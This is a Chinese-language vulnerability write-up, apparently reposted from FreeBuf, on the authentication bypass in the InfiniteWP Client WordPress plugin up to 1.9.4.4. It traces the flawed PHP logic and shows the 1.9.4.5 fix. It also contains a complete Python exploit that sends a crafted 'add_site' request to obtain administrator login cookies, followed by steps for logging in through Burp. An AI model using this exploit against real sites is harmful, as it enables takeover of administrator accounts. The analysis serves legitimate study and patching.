专栏首页FreeBuf关于WordPress InfiniteWP Client的身份认证绕过漏洞的分析与利用

关于WordPress InfiniteWP Client的身份认证绕过漏洞的分析与利用

前言

InfiniteWP Client是一个WordPress插件,当它与InfiniteWP Admin Panel结合使用时,可以方便快捷地集中管理多个WordPress站点。InfiniteWP Client<=1.9.4.4的版本被曝出了一个身份认证绕过漏洞。目前InfiniteWP Client安装在30多万个WordPress站点上,因此该漏洞的影响面非常广。本文详细分析了该漏洞,并且对其进行了利用。

实验环境

1.测试工具:BurpSuite v2.1 2.目标主机:Debian9.6 x64 3.软件版本:WordPress 5.2.2 4.插件版本:iwp-client.1.9.4.4

漏洞分析

1.问题主要出在函数iwp_mmb_set_request()中,该函数检查IWP_MMB_Core类的request_params变量是否为空。若iwp_mmb_core->request_params的值为空,则返回false;若不为空,则后续会判断变量params['username']已设置且该用户未登录,那么接下来使用iwp_mmb_get_user_by函数获取用户信息,然后使用wp_set_auth_cookie为给定的params['username']设置登录cookie。但是params['username']的值从何而来?在以下代码中,我们看到params =

if (!function_exists ('iwp_mmb_set_request')) {
    function iwp_mmb_set_request(){
        global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache, $iwp_mmb_activities_log;
        if (is_user_logged_in()) {
            iwp_plugin_compatibility_fix();
        }
        if (empty($iwp_mmb_core->request_params)) {
            return false;
        }
        $params = $iwp_mmb_core->request_params;
        $action = $iwp_mmb_core->request_params['iwp_action'];
        $is_save_activity_log  = $iwp_mmb_core->request_params['is_save_activity_log'];
        if ($action == 'maintain_site') {
            iwp_mmb_maintain_site($params);
            iwp_mmb_response(array('error' => 'You should never see this.', 'error_code' => 'you_should_never_see_this'), false);
        }
        @ignore_user_abort(true);
        $GLOBALS['IWP_CLIENT_HISTORY_ID'] = $iwp_mmb_core->request_params['id'];
        iwp_mmb_backup_db_changes();
        if(isset($params['username']) && !is_user_logged_in()){
            $user = function_exists('get_user_by') ? get_user_by('login', $params['username']) : iwp_mmb_get_user_by( 'login', $params['username'] );
            if (isset($user) && isset($user->ID)) {
                wp_set_current_user($user->ID);
                update_user_meta($user->ID, 'last_login_time', current_time('mysql'));
            }
            $isHTTPS = (bool)is_ssl();
            if($isHTTPS){
                wp_set_auth_cookie($user->ID);
            }else{
                wp_set_auth_cookie($user->ID, false, false);
                wp_set_auth_cookie($user->ID, false, true);
            }
        }

2.iwp_mmb_core->request_params的值又是从何而来?追溯

if( !function_exists ('iwp_mmb_parse_request')) {
    function iwp_mmb_parse_request()
{
        global $HTTP_RAW_POST_DATA, $iwp_mmb_activities_log;
        $HTTP_RAW_POST_DATA_LOCAL = NULL;
        $HTTP_RAW_POST_DATA_LOCAL = file_get_contents('php://input');
        if(empty($HTTP_RAW_POST_DATA_LOCAL)){
            if (isset($HTTP_RAW_POST_DATA)) {
                $HTTP_RAW_POST_DATA_LOCAL = $HTTP_RAW_POST_DATA;
            }
        }

        global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache;
        if (strrpos($HTTP_RAW_POST_DATA_LOCAL, '_IWP_JSON_PREFIX_') !== false) {
            $request_data_array = explode('_IWP_JSON_PREFIX_', $HTTP_RAW_POST_DATA_LOCAL);
            $request_raw_data = $request_data_array[1];
            $data = trim(base64_decode($request_raw_data));
            $GLOBALS['IWP_JSON_COMMUNICATION'] = 1;
        }else{
            $data = false;
            $request_raw_data = $HTTP_RAW_POST_DATA_LOCAL;
            $serialized_data = trim(base64_decode($request_raw_data));
            if (is_serialized($serialized_data)) {
                    iwp_mmb_response(array('error' => 'Please update your IWP Admin Panel to latest version', 'error_code' => 'update_panel'), false, true);
            }
        }

        if ($data){
            $request_data = json_decode($data, true);
            if(isset($request_data['params'])){ 
                $request_data['params'] = iwp_mmb_filter_params($request_data['params']);
            }
            if (isset($GLOBALS['IWP_JSON_COMMUNICATION']) && $GLOBALS['IWP_JSON_COMMUNICATION']) {
                $signature  = base64_decode($request_data['signature']);
            }else{
                $signature  = $request_data['signature'];
            }
            $iwp_action                     = $request_data['iwp_action'];
            $params                         = $request_data['params'];
            $id                             = $request_data['id'];
            if(isset($request_data['is_save_activity_log'])) {
                $is_save_activity_log    = $request_data['is_save_activity_log'];
            }
            $GLOBALS['activities_log_datetime'] = $request_data['activities_log_datetime'];
        }
        if (isset($iwp_action) && $iwp_action != 'restoreNew') {
            if(!defined('IWP_AUTHORISED_CALL')) define('IWP_AUTHORISED_CALL', 1);
            if(function_exists('register_shutdown_function')){ register_shutdown_function("iwp_mmb_shutdown"); }
            $GLOBALS['IWP_MMB_PROFILING']['ACTION_START'] = microtime(1);

            error_reporting(0);
            @ini_set("display_errors", 0);

            run_hash_change_process();
            iwp_plugin_compatibility_fix();
            $action = $iwp_action;
            $_wp_using_ext_object_cache = false;
            @set_time_limit(600);

            if (!$iwp_mmb_core->check_if_user_exists($params['username']))
                iwp_mmb_response(array('error' => 'Username ' . $params['username'] . ' does not have administrative access. Enter the correct username in the site options.', 'error_code' => 'username_does_not_have_administrative_access'), false);

            if ($action == 'add_site') {
                $params['iwp_action'] = $action;
                $iwp_mmb_core->request_params = $params;
                return;
            }elseif ($action == 'readd_site') {
                $params['id'] = $id;
                $params['iwp_action'] = $action;
                $params['signature'] = $signature;
                $iwp_mmb_core->request_params = $params;
                return;
            }

            $auth = $iwp_mmb_core->authenticate_message($action . $id, $signature, $id);
            if ($auth === true) {
                if (!defined('WP_ADMIN') && $action == 'get_stats' || $action == 'do_upgrade' || $action == 'install_addon' || $action == 'edit_plugins_themes' || $action == 'bulk_actions_processor' || $action == 'update_broken_link' || $action == 'undismiss_broken_link') {
                    define('WP_ADMIN', true);
                }
                if ($action == 'get_stats') {
                    iwp_mu_plugin_loader();
                }
                if (is_multisite()) {
                    define('WP_NETWORK_ADMIN', true);
                }else{
                    define('WP_NETWORK_ADMIN', false);
                }
                $params['id'] = $id;
                $params['iwp_action'] = $action;
                $params['is_save_activity_log'] = $is_save_activity_log;
                $iwp_mmb_core->request_params = $params;
            } else {
                iwp_mmb_response($auth, false);
            }
        } else {
            $HTTP_RAW_POST_DATA =  $HTTP_RAW_POST_DATA_LOCAL;
        }

    }
}

3.我们注意到add_site和readd_site这两个操作,当变量action为add_site或者readd_site时,直接对iwp_mmb_core->request_params进行了赋值,并且进行了return,后续的iwp_mmb_core->authenticate_message(id, signature,

漏洞利用

1.进一步分析函数iwp_mmb_parse_request()中的如下代码:

if (strrpos($HTTP_RAW_POST_DATA_LOCAL, '_IWP_JSON_PREFIX_') !== false) {
            $request_data_array = explode('_IWP_JSON_PREFIX_', $HTTP_RAW_POST_DATA_LOCAL);
            $request_raw_data = $request_data_array[1];
            $data = trim(base64_decode($request_raw_data));
            $GLOBALS['IWP_JSON_COMMUNICATION'] = 1;
        }else{
            $data = false;
            $request_raw_data = $HTTP_RAW_POST_DATA_LOCAL;
            $serialized_data = trim(base64_decode($request_raw_data));
            if (is_serialized($serialized_data)) {
                    iwp_mmb_response(array('error' => 'Please update your IWP Admin Panel to latest version', 'error_code' => 'update_panel'), false, true);
            }
        }

        if ($data){
            $request_data = json_decode($data, true);

从上面的代码可以看出,函数iwp_mmb_parse_request()先对request_raw_data进行了base64解码并将其赋值给data,然后又对

2.这里写了一个漏洞利用程序,具体代码如下:

# -*- coding: UTF-8 -*-
import requests
import base64
import json
def exploit(url, username):
    json_info = {"iwp_action": "add_site", "params": {"username": username}}
    try:
        return requests.post(url, timeout=5, verify=False,
            headers={"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0"},
            data="_IWP_JSON_PREFIX_{}".format(base64.b64encode(json.dumps(json_info).encode("utf-8")).decode("utf-8"))
        )
    except Exception as e:
        print("[-] HTTP Exploit Error: {}".format(e))
    return False
if __name__ == "__main__":
    url = raw_input("[+] 请输入url:")
    username = raw_input("[+] 请输入用户名:")
    site_response = exploit(url, username)
    cookie = ""
    if (site_response and site_response.status_code == requests.codes.ok):
        list = [str(a)+"="+str(b) for a, b in site_response.cookies.items()]
        cookie = "; ".join(list)
    if cookie:
            print("[+] 使用以下Cookies登录:\n{}".format(cookie))
            exit(0)
print("[-] 漏洞利用失败!")

运行上述代码,其中的参数url输入:

http://192.168.110.145/wordpress/wp-admin/

参数用户名输入:admin,在本例中WordPress的管理员用户名为admin,在实际操作中可能需要多次测试才能够得到正确的用户名。运行代码最终获得用于登录的Cookie值。

在浏览器中输入url:

http://192.168.110.145/wordpress/wp-admin/

使用Burpsuite截断代理,使用前面获取到的Cookie值替换截获到的数据包中的Cookie值,如下图所示:

如下图所示,可以看到登录WordPress管理后台成功。

漏洞修复

该漏洞在1.9.4.5版本中得到修复,代码具体如下:

if ($action == 'add_site' || $action == 'readd_site') {
            return false;
        }
        if ($action == 'maintain_site') {
            iwp_mmb_maintain_site($params);
            iwp_mmb_response(array('error' => 'You should never see this.', 'error_code' => 'you_should_never_see_this'), false);
        }
        @ignore_user_abort(true);
        $GLOBALS['IWP_CLIENT_HISTORY_ID'] = $iwp_mmb_core->request_params['id'];
        iwp_mmb_backup_db_changes();
        if(isset($params['username']) && !is_user_logged_in()){
            $user = function_exists('get_user_by') ? get_user_by('login', $params['username']) : iwp_mmb_get_user_by( 'login', $params['username'] );
            if (isset($user) && isset($user->ID)) {
                wp_set_current_user($user->ID);
                // Compatibility with All In One Security
                update_user_meta($user->ID, 'last_login_time', current_time('mysql'));
            }
            $isHTTPS = (bool)is_ssl();
            if($isHTTPS){
                wp_set_auth_cookie($user->ID);
            }else{
                wp_set_auth_cookie($user->ID, false, false);
                wp_set_auth_cookie($user->ID, false, true);
            }
        }

主要是针对变量action增加了一个条件判断,当action为add_site或者readd_site时,函数直接返回false,这样就不涉及后续使用wp_set_auth_cookie来给

总结

本文中的身份认证绕过漏洞是由代码中的逻辑错误造成的,而且恶意流量与正常流量并无明显差别,通过waf设备也很难进行防御,建议将插件InfiniteWP Client升级到最新版本。

*本文作者:Neroqi,转载请注明来自FreeBuf.COM

本文分享自微信公众号 - FreeBuf(freebuf),作者:Neroqi

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-04-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Android N如何限制重置密码以遏制勒索软件

    Android N安全特性概览 AndroidN即Android7.0,代号“牛轧糖”,是Google于2016年7月份推出的最新版智能手机操作系统。Andr...

    FB客服
  • 浅析ReDoS的原理与实践

    *本文原创作者:MyKings,本文属FreeBuf原创奖励计划,未经许可禁止转载 ReDoS(Regular expression Denial of Ser...

    FB客服
  • BlackHat 2018 | 关注三个热点领域:加密数字货币、医疗设备和机器学习

    Black Hat USA已经走过了20个年头,作为世界领先的信息安全峰会,它为与会者提供了大量的第一手安全研究、开发和趋势资讯。今年的Black Hat US...

    FB客服
  • R读取spss的sav格式数据

    相对而言,处理英文的就很容易,方法也很容易查找到。下面是我对这两种情况的一个总结。

    努力在北京混出人样
  • 消费互联网式的产业互联网没有未来

    产业互联网其实是相对消费互联网而言的。正是因为如此,我们在消费互联网时代以C端用户为主要改造对象,等到了产业互联网时代之后,我们便需要将改造对象转移到B端用户身...

    孟永辉
  • 王源也推荐!“读诗成曲”游戏火了,思必驰揭秘背后技术

    如果你关注了昨晚(1月28日)央视八点档的《经典咏流传》就会发现,学会一首歌的时间,30秒足够了。

    量子位
  • SAP Cloud for Customer销售订单External Note的建模细节

    SAP Cloud for Customer的销售订单创建页面里,我们可以给一个订单维护External Note,当这个订单同步到S/4HANA生成对应的生产...

    Jerry Wang
  • SAP Cloud for Customer销售订单External Note的建模细节

    SAP Cloud for Customer的销售订单创建页面里,我们可以给一个订单维护External Note,当这个订单同步到S/4HANA生成对应的生产...

    Jerry Wang
  • Ubuntu安装与初始配置

    适用于Ubuntu版本 14.04/16.04LTS 64位 先上图 ? 双系统安装 划分空闲磁盘,U盘安装ubuntu 重点看安装ubuntu时的磁盘分区...

    梦里茶
  • 2020最新版 maven for MAC 安装及配置

    1.1、在终端输入命令 brew install maven,并自动配置好了环境变量

    斑马

扫码关注云+社区

领取腾讯云代金券